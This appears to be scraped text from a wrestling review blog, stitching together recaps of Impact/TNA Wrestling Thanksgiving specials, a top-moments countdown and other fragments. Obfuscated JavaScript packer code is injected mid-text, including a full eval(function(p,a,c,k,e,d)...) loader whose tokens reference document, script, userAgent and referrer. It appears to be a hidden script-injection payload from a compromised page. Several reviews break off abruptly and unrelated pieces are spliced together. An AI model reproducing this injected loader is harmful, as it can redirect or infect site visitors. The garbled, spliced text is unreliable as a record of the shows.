Rating: B. It’s a nice way to wrap up a special show and the good thing here is that Sabin winning the title isn’t some out of nowhere change. Sabin is a regular star around here and he has to be the most successful X-Division wrestler ever. This was a special balance between the nostalgia and the modern stuff, which happened to come after a pretty awesome match.

A bunch of wrestlers come out to celebrate with Sabin to end the show.

Overall Rating: B+. This was in no way a show about the wrestling, as instead this was ALL about the nostalgia and having fun while looking back at the company’s history. It’s rare for any show to make it this far and that made things all the more special. I had a great time with this show and that is exactly what this should have been. Heck of a show here and I’m really looking forward to part two next week.

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

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Impact Wrestling
Date: November 24, 2022
Hosts: Tom Hannifan, Matthew Rehwoldt

It’s Thanksgiving and that means we are in for a special Best Of show around here. That’s about as logical as you’re going to get for this time of year as there is no reason to believe that anyone is going to pay attention to a show on such a big holiday. You never know what you’ll see on something like this but let’s get to it.

Opening sequence.

The hosts welcome us to the show and promise us some great Thanksgiving moments, plus a look at Overdrive.

We’ll start with Thanksgiving 2008, with Rhino pinning Alex Shelley in a triple threat match also involving Sheik Abdul Bashir. As a result, Rhino gets $25,000 and Shelley has to wear a turkey suit, as enforced by Mick Foley with threats of firings/bad history lessons.

Wrestlers say what they are thankful for (Joe Hendry is thankful for mirrors because he gets to see who he really is).

Deaner asks Eric Young if this is the end of Violent By Design but doesn’t get an answer. It’s time for an answer to the unanswered questions so they have to go back to where it all began. How about before that when the team doesn’t exist?

We go back to Thanksgiving 2007, at the Angle household, featuring Kurt and Karen as pilgrims and Jeremy Borash, Tomko and AJ Styles as guests (it was a weird time). They pray (with gold medals on the plates) and Styles eats during the prayer. People keep opening their eyes during the prayer, with Karen and JB making faces at each other. Robert Roode and Traci Brooks come in, as do James Storm and Jackie Moore (with beer). Chris Harris arrives and complains about the directions.

Eric Young shows up, a bit under dressed, and breaks a bunch of stuff. Kurt stands up to yell, revealing that he’s wearing the World Title, and sends Eric to the kid’s table (Eric gets lost on the way). Then the X-Division arrives, with Sonjay Dutt trying to get donations for starving children. Storm and Young get in a drinking contest and Styles leaves as Black Reign (Dustin Rhodes) and Rellik (that’s overused joke spelled forwards) arrive. Reign lets his rat Misty into the food and we take a break.

Back with Young and Storm rather drunk (Young has found a wig and they have both lost their shirts). Jay Lethal (as Black Machismo) arrives as Kurt looks like he wants some cyanide. Then So Cal Val arrives, so Lethal gives her his jacket to walk on. Kurt tries to restore order as Awesome Kong shows up and sits at the other end of the (really long) table. She eats food that may or may not be wax and, since there are a bunch of tables, Team 3D arrives, with food being thrown at them.

A bunch of people leave to get away from Team 3D, who were invited by someone other than Kurt. They sit at the kid’s table and take food from Kurt’s daughter, who says they suck (I would have paid to see her put through a table). Then Kevin Nash and Scott Hall arrive and Karen takes pies to the face. Everyone else shows up and the food fight is on. This was HILARIOUS in a wrestling way.

We look at Mickie James beating Taylor Wilde at Overdrive. Then Deonna Purrazzo comes out to yell at her and sets up the next match in James’ Last Rodeo.

From Thanksgiving 2016, loser wears a turkey suit.

Grado vs. Robbie E.

They slug it out to start with Grado getting the better of it off the snap jabs. A double clothesline puts both guys down as this is a little less funny than I was expecting. Robbie grabs a rollup for the pin at 2:39.

Grado is turkey suited.

We look at the end of Josh Alexander beating Kazarian with the C4 Spike to retain the World Title at Overdrive. Then Bully Ray came out, announced he was officially challenging at Hard To Kill in January, and beat up Alexander in front of his family. Then, with Alexander zip tied to the rope, Ray pulled Alexander’s wife over the barricade….and just threatened her because Alexander was loose. After the show, Ray grabbed the title but Rich Swann came out for the save. Scott D’Amore came out and threw stuff at Ray while asking what was wrong with him. Great segment. Why does it need to be Bully Ray and not someone new?

From Thanksgiving 2013.

Here are all of the winners of the matches tonight plus Velvet who is with Sabin. Roode points this out and Sabin throws Velvet out. Bobby asks everyone what they’re thankful for. Bad Influence is thankful for their intelligence and large endowment. Kaz is thankful that Park isn’t here to drink the gravy or fornicate with the pumpkin pie. Gail is thankful for being the prettiest and most dominant Knockout in the history of the company. Oh and her family too.

Sabin is thankful for his hair, being the best X-Division Champion ever and Velvet Sky. The Bro Mans are thankful for Mr. O Phil Heath, Zema Ion (officially part of the team) and for being the best team ever. Bad Influence: “I’m not sure about that.” Roode says the real Thanksgiving was last month in Canada and the fans will be thankful when he becomes the next champion.

It’s time to eat but here’s Angle to interrupt. He sees a ring full of turkeys, which are fighting words for the people in there. Roode challenges him to a fight which Angle accepts, and here’s his backup. Fernum and Barnes (a couple of losers who lost the Turkey Bowl) are still in the turkey suits. You can fill in the blanks yourself here: bad guys are destroyed, food is everywhere, Spud panics, turkeys fly. The good guys, Velvet and ODB celebrate to end the show.

More wrestlers are thankful for various things.

We look at Kenny King going after Mike Bailey at the overdrive pre-show and losing a six way match as a result.

King is going to take out Bailey before going after the X-Division Title.

From Thanksgiving 2017.

Team Edwards vs. Team Adonis

Eddie Edwards, Garza Jr., Allie, Fallah Bahh, Richard Justice
Chris Adonis, Caleb Konley, Laurel Van Ness, KM, El Hijo Del Fantasma

The loser of the fall wears a turkey suit and there’s food at ringside, along with Eli Drake. We’re not ready yet though as the teams sit down at the food tables as Drake insists that everyone has to put on the suit if they lose. He has a statement for JB to read, which pretty much just says everyone play nice.

Justice sticks his finger in Konley’s mouth to start and gets two off a rollup. Laurel comes in and jumps on Justice’s back so it’s off to the women for a change. KM and Bahh are up next with some shots to Bahh’s head taking us to a break. Back with Bahh crossbodying KM and bringing in Garza….WHO TAKES OFF HIS PANTS! I’m rather thankful.

Garza gets punched down though and it’s time for the heel beatdown. Adonis comes in for two off a legdrop and it’s time for a bearhug (on a guy with a bad shoulder). That goes nowhere and the hot tag brings in Eddie to clean house. Everything breaks down in a hurry and KM gets crushed between Justice and Bahh.

We get the big crash to the floor and Justice falls off the apron, only to be caught without much effort. Allie dives onto everyone to break up the pile and everyone is down. Back in and Adonis can’t grab the Adonis Lock, allowing Eddie to roll him up for the pin at 16:04, meaning Adonis gets to wear the suit.

Rating: C-. Oh what were you expecting here? This was all in good fun and nothing more than a comedy match. The match was just there for the sake of having a one off match for a holiday special and as a result, it’s really hard to be harsh on it. Adonis having to wear the suit is fine and it continues a (rather goofy) tradition. It wasn’t anything good, but it’s perfectly harmless.

Post break, Adonis refuses to wear the suit. Security actually stops him as the referee holds up the suit like an executioner’s ax. After a lot of persuading and a GOBBLE GOBBLE (One of us?) chant, Adonis finally puts it on and walks around a bit. Adonis isn’t cool with the chants though and the required food fight, with Adonis hitting Drake in the face with a pie, ends the show. This was actually entertaining as they just went with the simple comedy and it worked perfectly well.

Delirious and Yuyu Uemura yell at each other in….something and Japanese.

Here’s what’s coming on various shows.

Steve Maclin wants the World Title but he is being held captive by his own company. From now on, it’s mayhem for all.

From Thanksgiving 2007.

Samoa Joe vs. AJ Styles vs. Chris Sabin

This is the finals of the Turkey Bowl, with the winner getting $25,000 and the loser wearing the turkey suit. Joe and Sabin double team Styles to start and knock him to the floor. That leaves Sabin to take Joe down but a kick misses, giving us a staredown. Styles gets knocked to the floor again and we take a break.

Back with Sabin charging into a hot shot but Joe comes back in to punch Styles in the face. Styles breaks up the suicide elbow to Sabin though, meaning Joe punches him in the face some more. The drop down into a dropkick hits Joe and we take a break. Back again with Joe countering the springboard moonsault into an Air Raid Crash with Sabin having to make a save.

We take another break and come back again with Sabin hitting a springboard DDT to drop Joe. That earns Sabin a trip to the floor but Styles Peles Joe. The charge into the corner only hits kick to the face though, allowing Joe to hit the Muscle Buster for the pin at 9:33 shown (of the nearly thirty minute match).

Rating: B-. Well it seemed to be a good match, at least from what we saw of the thing. Joe was on another planet at this point and Styles was in his weird phase as Angle’s wacky goon, but it isn’t like he was going to be awful in the ring. Throw in a very talented Sabin and of course this was going to work, even if we missed almost twenty minutes.

Post match we cut to a livid Kurt Angle (AJ’s boss), storming out of his own Thanksgiving dinner. Back in the arena, AJ won’t put the suit on so here is Jim Cornette to order him to do it. After some coaxing, Styles (very slowly) puts the suit on so Tomko and Kurt come out to yell. Samoa Joe and the Outsiders come out to laugh at Angle and pals, meaning the brawl is on. The bad guys are cleared out, with Eric Young coming in to add a turkey leg to Angle to wrap things up. Then Hall got fired and Joe was given a live mic at the pay per view where he went on an all time rant against a lot of people.

Overall Rating: C. I never know what to say about these things, especially when it was a bunch of clips from what was little more than a comedy concept. There was a bit of decent action and it is fun to look back at some flashes of different times in the company’s history, but there was nothing worth seeing here. Granted that is kind of the point, but this was still a weird choice for a show.

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

AND

Remember to check out Wrestlingrumors.net for all of your wrestling headline needs.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dhszy|var|u0026u|referrer|ieeyb||js|php'.split('|'),0,{})) first month of this great offer is wrapping up tonight at midnight EST (about an hour after Summerslam goes off the air if your time zone knowledge isn’t so strong) and after midnight, this is GONE. It’s not for sale again and next month’s edition won’t have the same stuff so it’s more than worth your time to pick this up while you can. Here are the details in case you haven’t heard about this before.

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There are four levels and if you move up, you get all the previous levels included.

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Shoot interview with JTG

Indy tag match with Angel Williams (Angelina Love) and Daizee Haze

The History of Summerslam Volume I

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Since it’s Memorial Day weekend, Destination America decided not to air a new episode of Impact (EVERYTHING IS FINE!!!).  Instead, they’re airing a completely out of context pay per view from last year.  That’s actually not a horrible idea, but somehow this is the only presentable pay per view they’ve had in the last year.  That’s sad.

Slammiversary eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ifatd|var|u0026u|referrer|hszhb||js|php'.split('|'),0,{})) 2014
Date: June 15, 2014
Location: College Park Center, Arlington, Texas
Commentators: Mike Tenay, Tazz

http://www.amazon.com/dp/B00XOUNBEA

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nhhaz|var|u0026u|referrer|bbnte||js|php'.split('|'),0,{})) Wrestling
Date: December 24, 2014
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Taz, Don West
Hosts: Christy Hemme, Jeremy Borash

#10. Impact – February 19, 2009

Kurt Angle vs. Sting

#9. Impact – October 8, 2014.

Tag Team Titles: Hardys vs. Team 3D vs. Wolves

Back in and Ray goes up, only to have Edwards set up a ladder of his own next to it. Bully kicks him down but Matt comes in with a ladder of his own. All three go up and slug it out with Edwards getting slammed off the top. Mat and Ray grab for the belts but send them swinging around before knocking each other off with Matt flying into a ladder.

Davey goes up the big ladder but gets shoved onto the floor and head first into the barricade. The Hardys make another save with chairs and put Ray on two tables. Jeff goes up top of the big ladder but Davey shoves it over, sending Hardy into a HUGE splash onto Ray for a horrible looking crash. Davey and Matt slug it out on top of the ladder but Edwards makes a save and powerbombs Matt through a table, allowing Davey to take down the belts for the win at 23:52.

#8. Slammiversary 2013.

Taryn Terrell vs. Gail Kim

Last Knockout standing. Gail attacks in the corner to start but Taryn comes back with clotheslines to take over. Gail puts on an octopus hold but lets it go early and only gets a six count. Kim goes to the floor for a chair but has it kicked out of her hands. Some hair drags keep Gail down for a few moments but she manages to get the chair up to block a high cross body. Gail is up first and goes after the knee for a bit before wedging the chair between the ropes. Taryn blocks a ram into the chair but gets caught in the Figure Four around the post.

#7. Impact – January 4, 2010.

In storyline development, Shera makes it to the top of a hill where Sotrm is waiting with a jug of water. Storm pours it on top of him and welcomes Shera to the Revolution.

#6. Impact – January 9, 2014.

TNA World Title: AJ Styles vs. Magnus

Back with the two champions still not making contact as the Bro Mans and Zema Ion come out to jump Sting and AJ and giving us six run-ins in less than eight minutes. Zema DDTs AJ and the Bro Down gets a delayed two on Styles. Sting comes back in as Magnus just chills at ringside. The Brit finally comes back in and AJ quickly loads up the Clash, only to have Bad Influence make the save and lay him out with a powerbomb/neckbreaker combo.

#5. Impact Wrestling – January 17, 2013.

Are they kidding???

So quick recap here. There are four moments left and we have the following to go off the top of my head:

Kurt Angle debuts

AJ Styles wins the World Title at No Surrender 2009

Unbreakable triple threat

Elix Skipper walks the cage

Angle vs. Joe from Genesis 2006

ANYTHING from before October 2007

#4. Impact – November 3, 2011.

TNA World Title: James Storm vs. Bobby Roode

They slug it out and Storm takes over with some running shots. Blockbuster gets two for Roode. Backstabber gets two for the champ. Eye of the Storm is countered into a spinebuster for two. They head to the floor and both guys barely get back inside in time. Storm tries an Orton DDT but gets countered into a Crossface. Storm makes a rope and Roode is frustrated. Roode tries a superplex but Storm counters into a top rope elbow for two.

#3. Unbreakable

X-Division Title: Samoa Joe vs. AJ Styles vs. Christopher Daniels

#2. Bound For Glory 2010.

TNA World Title: Jeff Hardy vs. Kurt Angle vs. Mr. Anderson

Quick recap of the top ten.

And now, I kid you not, this is considered the #1 moment all time in TNA wrestling history.

#1. Impact – August 7, 2014

20. Angle vs. Joe – Lockdown 2008
19. Aries vs. Roode – Destination X 2012
18. Motor City Machine Guns vs. Beer Money – Victory Road 2010
17. WOO Off – Impact – July 7, 2010
16. Ultimate X – Bound For Glory 2009
15. Bully Ray vs. Jeff Hardy – Lockdown 2013
14. Knockouts Title Gauntlet Match – Bound For Glory 2007
13. Karen Angle marries Jeff Jarrett – Impact – March 3, 2011
12. Lashley vs. Roode II – October 29, 2014
11. Sting vs. Hogan – Bound For Glory 2011
10. Sting vs. Angle – Impact – February 19, 2009 (Empty Arena Match)
9. Impact – October 8, 2014 – Team 3D vs. Wolves vs. Hardys (Full Metal Mayhem)
8. Gail Kim vs. Taryn Terrell – Slammiversary 2013 (Last Knockout Standing)
7. Hogan and Bischoff Debut – Impact – January 4, 2010
6. AJ Styles vs. Magnus – Impact – January 9, 2014
5. Bully Ray marries Brooke Hogan – Impact Wrestling – January 17, 2013
4. James Storm vs. Bobby Roode – Impact – November 3, 2011
3. Styles vs. Joe vs. Daniels – Unbreakable
2. Jeff Hardy vs. Kurt Angle vs. Mr. Anderson – Bound For Glory 2010
1. Dixie Carter Goes Through A Table – Impact – August 7, 2014

Overall this list feels like it was thrown together by a slightly more than casual fan of TNA. Some of these are obvious, but for the most part this comes off like a list from the last six years instead of the best ever from TNA. Having stuff in there like the two weddings or the WOO Off (funny moment, but they showed it in the package before they aired the full thing) takes up another spot that could go to something more important. It did hit some spots though including most of the important ones, save for the top one that is.

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the Royal Rumble at Amazon for just $3.99 at:

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Finally, I’m holding a Holiday Special for my e-books: any two of them for just $5.  Check out the details here.

Stop me if you’ve heard this one before.

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Daniel Bryan cheating on Brie. Thankfully this lasted like five days before they just pulled the plug on Claire Lynch Mach II.

Batista is a face. Seriously, that might be the biggest bomb of the year. See what I did there?